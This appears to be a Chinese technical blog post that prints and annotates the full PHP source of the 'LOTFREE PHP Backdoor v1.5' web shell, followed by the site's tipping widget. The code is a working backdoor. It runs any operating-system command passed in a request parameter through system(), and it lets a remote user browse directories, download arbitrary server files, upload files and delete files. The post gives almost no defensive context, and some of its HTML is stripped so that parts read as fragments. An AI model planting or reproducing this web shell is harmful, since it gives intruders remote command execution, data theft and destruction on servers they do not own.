php后门文件处理方式_解释PHP后门文件

function good_link($link)

{

$link=ereg_replace(“/+”,”/”,$link);

$link=ereg_replace(“/[^/(..)]+/\.\.”,”/”,$link);

$link=ereg_replace(“/+”,”/”,$link);

if(!strncmp($link,”./”,2) && strlen($link)>2)$link=substr($link,2);

if($link==”")$link=”.”;

return $link;

}

//$_REQUEST用来取得提交到本文件的数据

$dir=isset($_REQUEST['dir'])?$_REQUEST['dir']:”.”; //如果没有定义dir,dir取默认值”.”

$dir=good_link($dir);

$rep=opendir($dir); //打开dir指定的路径句柄

chdir($dir); //切换到dir指定的目录

if(isset($_REQUEST["down"]) &&$_REQUEST["down"]!=”") //如果定义了down

{

header(“Content-Type: application/octet-stream”);

header(“Content-Length: “.filesize($_REQUEST["down"]));

header(“Content-Disposition: attachment; filename=”.basename($_REQUEST["down"]));

readfile($_REQUEST["down"]); //将文件读取到缓冲区

exit();

}

?>

LOTFREE PHP Backdoor v1.5,易踪网yeetrack.com

echo “当前绝对路径为: ”.getcwd().”

\n”; //获取当前的绝对路径

echo “dir = ‘$dir’

\n”;

echo “当前目录,文件列表!

\n”;

//如果已经输入要执行的命令

if(isset($_REQUEST['cmd']) &&$_REQUEST['cmd']!=”")

{

echo “\n”;

system($_REQUEST['cmd']); //在服务器上执行输入的命令,执行结果回显

echo “\n”;

}

//如果已经上传了文件

if(isset($_FILES["fic"]["name"]) && isset($_POST["MAX_FILE_SIZE"])) //获取post上来的文件,保存到当前目录

{

if($_FILES["fic"]["size"]

{

if(move_uploaded_file($_FILES["fic"]["tmp_name"],good_link(“./”.$_FILES["fic"]["name"]))) //将临时文件保存到当前目录

{

echo “文件保存成功 “.good_link(“./”.$_FILES["fic"]["name"]).”!

\n”;

}

else echo “文件上传失败: “.$_FILES["fic"]["error"].”

\n”;

}

else echo “File too large(文件超出大小限制)!

\n”;

}

if(isset($_REQUEST['rm']) &&$_REQUEST['rm']!=”") //如果定义了rm,即删除指定的文件

{

if(unlink($_REQUEST['rm'])) //unlink是php的删除文件函数

echo “成功删除 “.$_REQUEST['rm'].”!

\n”;

else echo “删除文件失败

\n”;

}

?>

$t_dir=array();

$t_file=array();

$i_dir=0;

$i_file=0;

//循环输读取前的目录文件,放在t_dir和t_file中

while($x=readdir($rep))

{

if(is_dir($x)) //如果当前处理的是目录

$t_dir[$i_dir++]=$x;

else //如果当前处理的是文件

$t_file[$i_file++]=$x;

}

closedir($rep); //关闭由opendir打开的目录句柄

while(1) //循环输入当前路径的目录和文件

{

?>

if($x=each($t_dir))

{

$name=$x["value"]; //获取t_dir数组里的目录名称

if($name==’.'){}

elseif($name==’..’) echo “ UP(父目录)

\n”; //展示一个UP链接,读取父目录的文件列表

else

echo “ ”.$name.”\n”;

}

?>

//$_SERVER['PHP_SELF']取得当前php脚本文件名

if($y=each($t_file))

{

if($y["key"]%2==0) //如果当前处理的是key

echo ” bgcolor=’lightgreen’>\n”;

else //如果当前处理的是value,即文件。就将该文件展示出来,且提供下载链接。

echo “>\n”;

}

else echo“>\n”;

?>

if($y)

{

//如果是文件,就提供以下删除该文件的链接

if($y["key"]%2==0)echo ” bgcolor=’lightgreen’”;

echo “>Del”;

}

else echo “>\n”;

?>

if(!$x && !$y)

break;

}

?>

”>

Execute commande(执行操作系统命令)

上传文件到服务器当前目录:

”>

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值